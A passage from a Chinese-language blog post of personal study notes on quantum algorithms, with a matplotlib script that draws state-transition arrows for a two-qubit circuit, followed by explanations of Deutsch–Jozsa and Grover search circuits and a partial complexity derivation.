string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 4: CNOT (3 -> 4) -> q0控制q1 (右位元為1時，左位元翻轉)</span>step4 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 5: X_q0 (4 -> 5) -> 再次翻轉右位元</span>step5 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 6: H_q0 (5 -> 6) -> Hadamard 作用在右位元，展開並引入對應相位</span>step6 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>all_steps <span class="token operator">=</span> <span class="token punctuation">[</span>step1<span class="token punctuation">,</span> step2<span class="token punctuation">,</span> step3<span class="token punctuation">,</span> step4<span class="token punctuation">,</span> step5<span class="token punctuation">,</span> step6<span class="token punctuation">]</span><span class="token comment"># 4. 繪製彩色方向箭頭</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> step_connections <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>all_steps<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_start <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span>    x_end <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span>    <span class="token keyword">for</span> start_lbl<span class="token punctuation">,</span> end_lbl<span class="token punctuation">,</span> color_key <span class="token keyword">in</span> step_connections<span class="token punctuation">:</span>        sy <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>start_lbl<span class="token punctuation">]</span>        ey <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>end_lbl<span class="token punctuation">]</span>        color <span class="token operator">=</span> COLOR_MAP<span class="token punctuation">[</span>color_key<span class="token punctuation">]</span>        ax<span class="token punctuation">.</span>annotate<span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">,</span> xy<span class="token operator">=</span><span class="token punctuation">(</span>x_end<span class="token punctuation">,</span> ey<span class="token punctuation">)</span><span class="token punctuation">,</span> xytext<span class="token operator">=</span><span class="token punctuation">(</span>x_start<span class="token punctuation">,</span> sy<span class="token punctuation">)</span><span class="token punctuation">,</span>                    arrowprops<span class="token operator">=</span><span class="token builtin">dict</span><span class="token punctuation">(</span>arrowstyle<span class="token operator">=</span><span class="token string">"->"</span><span class="token punctuation">,</span> color<span class="token operator">=</span>color<span class="token punctuation">,</span> lw<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> shrinkA<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">,</span> shrinkB<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 5. 在每一段上方中央標註 Gate Name (對應你的 OpenQASM 順序)</span>gate_names <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"$X_&#123;q_1&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$H_&#123;q_1&#125;H_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$X_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"CNOT"</span><span class="token punctuation">,</span> <span class="token string">"$X_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$H_&#123;q_0&#125;$"</span><span class="token punctuation">]</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> name <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>gate_names<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_center <span class="token operator">=</span> <span class="token punctuation">(</span>x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span> <span class="token operator">+</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span>x_center<span class="token punctuation">,</span> <span class="token number">3.6</span><span class="token punctuation">,</span> name<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'bottom'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 微調畫布邊界並關閉座標軸</span>ax<span class="token punctuation">.</span>set_xlim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.6</span><span class="token punctuation">,</span> <span class="token number">6.6</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>set_ylim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">4.0</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">'off'</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>tight_layout<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 儲存圖片</span>plt<span class="token punctuation">.</span>savefig<span class="token punctuation">(</span><span class="token string">'maze.png'</span><span class="token punctuation">,</span> bbox_inches<span class="token operator">=</span><span class="token string">'tight'</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> transparent<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"新電路的串聯迷宮演進圖已成功生成：maze.png"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><p>可以看到在跑完 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>H</mi><mrow><mo>⊗</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">H^{\otimes 2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">⊗</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span> 之後分散成了四條線，對應到第 1 點。<br>而在最後可以看到紅色跟藍色的線碰在一起發生破壞性干涉消掉，對應到第 2 點。</p><h2 id="deutsch%E2%80%93jozsa-algorithm" tabindex="-1" id="Deutsch–Jozsa-algorithm">Deutsch–Jozsa algorithm</h2><p>這是上面那個演算法的加強版，從 1 個 bytes 推廣成 n 個 bytes。<br>印象中上課時就簡單帶過，書裡有詳細寫但我現在還懶得看XD<br>所以就放一張上課拍的簡報<s>草草了事</s>w</p><p><a href="DJ.jpg">Deutsch–Jozsa algorithm</a></p><p>這個在古典中用最爛的演算法需要計算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">2^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span> 次 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi></mrow><annotation encoding="application/x-tex">f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span></span></span></span>，比較 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mo stretchy="false">(</mo><msup><mn>2</mn><mi>n</mi></msup><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><msup><mn>2</mn><mi>n</mi></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">\frac{(2^n-1)2^n}{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.355em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mbin mtight">−</span><span class="mord mtight">1</span><span class="mclose mtight">)</span><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 次；但用這個量子演算法只要計算 1 次，比較 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 次！</p><h3 id="%E5%A6%82%E4%BD%95%E8%A8%AD%E8%A8%88-f(x)-%E7%9A%84%E7%B7%9A%E8%B7%AF" tabindex="-1" id="如何設計-f-x-的線路">如何設計 f(x) 的線路</h3><p>和之前一樣的問題，一樣放上課拍的黑板<s>草草了事</s>w<br>反正就是拆項看，然後用 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>C</mi><mi>n</mi></msup><mi>N</mi><mi>O</mi><mi>T</mi></mrow><annotation encoding="application/x-tex">C^n NOT</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mord mathnormal" style="margin-right:0.1389em;">T</span></span></span></span> Gate。</p><p><img src="2026-07-19-13-59-57.png" alt="f(x) 線路"></p><h2 id="grover-algorithm" tabindex="-1" id="Grover-algorithm">Grover algorithm</h2><p>這是一個量子無序搜尋演算法，比古典好，古典需要 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>，這個只要 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msqrt><mi>N</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\sqrt{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1767em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9267em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span><span style="top:-2.8867em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1133em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span> (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi></mrow><annotation encoding="application/x-tex">N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span> 是資料數量)<br>這個演算法的原理是先創造平均量子態，然後重複若干次以下由 Oracle 和 Diffusion Operator 組合而成的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 運算子：</p><ul><li>Oracle(神諭)：把要找的項標記──加負號(把相位轉 180 度)</li><li>Diffusion Operator：把目前狀態對平均量子態做對稱，這會讓目標的振幅變大，其他變小。</li></ul><p>我們要跑適當輪數的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 讓 State vector 旋轉到與目標狀態重合(與非目標狀態夾角接近 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">\frac{\pi}{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">π</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>)，然後執行測量。<br>這個的幾何圖形可以上網查到</p><h3 id="2-%E5%80%8B-qubits" tabindex="-1" id="2-個-qubits">2 個 qubits</h3><p>我們先從最簡單的 2 個 qubits 開始。將要找的資料以 00, 01, 10, 11 編號。</p><p>有兩種實現方式，第一種需要引進額外的一個輔助位元，第二種則不用，我們先依序來看</p><h4 id="%E6%96%B9%E6%B3%951%EF%BC%9A%E9%9C%80%E8%A6%81%E8%BC%94%E5%8A%A9%E4%BD%8D%E5%85%83" tabindex="-1" id="方法1：需要輔助位元">方法1：需要輔助位元</h4><p>流程如下：</p><p><img src="2026-07-19-15-17-37.png" alt="方法1 流程"></p><p>而具體線路會長這樣：</p><p><img src="2026-07-19-15-18-51.png" alt="方法1 線路"></p><h4 id="%E6%96%B9%E6%B3%952%EF%BC%9A%E4%B8%8D%E9%9C%80%E8%A6%81%E8%BC%94%E5%8A%A9%E4%BD%8D%E5%85%83" tabindex="-1" id="方法2：不需要輔助位元">方法2：不需要輔助位元</h4><p><img src="2026-07-19-15-20-52.png" alt="方法2 線路"></p><p>以上是搜尋 11 的，如果今天是要搜尋 00, 01 或 10 呢？<br>我們只會搜尋 11，所以方法就是將我們的目標先「偽裝」成 11 再還原回來<br>所以我們要對 Oracle 進行修改(因為 Oracle 是拿來標記目標的)，如以下(應該不難理解)：</p><p><img src="2026-07-19-15-22-50.png" alt="Oracle 修改"></p><h3 id="3-%E5%80%8B-qubits" tabindex="-1" id="3-個-qubits">3 個 qubits</h3><p>和前面類似，所以我就直接把搜尋 111 的兩種方式的線路跟結果放上來</p><h4 id="%E6%96%B9%E6%B3%951" tabindex="-1" id="方法1">方法1</h4><p><img src="2026-07-19-15-28-06.png" alt="3 qubits 方法1 線路"></p><p><img src="2026-07-19-15-28-34.png" alt="3 qubits 方法1 結果"></p><h4 id="%E6%96%B9%E6%B3%952" tabindex="-1" id="方法2">方法2</h4><p><img src="2026-07-19-15-25-15.png" alt="3 qubits 方法2 線路"></p><p><img src="2026-07-19-15-26-14.png" alt="3 qubits 方法2 機率"></p><p>放個實機跑的結果：</p><p><img src="job_d9c7c4fngvls73a93ks0_results_c.svg" alt="實機結果"></p><blockquote><p>這裡說一下 CZ Gate 變成了什麼。他其實應該對應的被換成 CCZ Gate，但因為系統上沒 CCZ Gate 可以用所以我們借助之前提到的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>H</mi><mo>†</mo></msup><mi>X</mi><mi>H</mi><mo>=</mo><mi>Z</mi></mrow><annotation encoding="application/x-tex">H^\dagger X H = Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span></span></span></span> 來達到等價的效果。</p></blockquote><blockquote><p>其實 Grover 演算法可以一次找不只一個目標，那就是要去設計對應的 Oracle 了</p></blockquote><h3 id="%E8%A4%87%E9%9B%9C%E5%BA%A6%E5%88%86%E6%9E%90" tabindex="-1" id="複雜度分析">複雜度分析</h3><p>假設重複迭代了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span> 次，此時量子態為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>G</mi><mi>k</mi></msup><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><mo>=</mo><mi>cos</mi><mo>⁡</mo><mrow><mo fence="true">(</mo><mfrac><mrow><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><mn>2</mn></mfrac><mi>θ</mi><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>α</mi><mo stretchy="false">⟩</mo><mo>+</mo><mi>sin</mi><mo>⁡</mo><mrow><mo fence="true">(</mo><mfrac><mrow><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><mn>2</mn></mfrac><mi>θ</mi><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>β</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">G^k\vert{}\psi\rangle = \cos\left(\frac{2k+1}{2}\theta\right) \vert{}\alpha\rangle + \sin\left(\frac{2k+1}{2}\theta\right)\vert{}\beta\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">cos</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">sin</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span 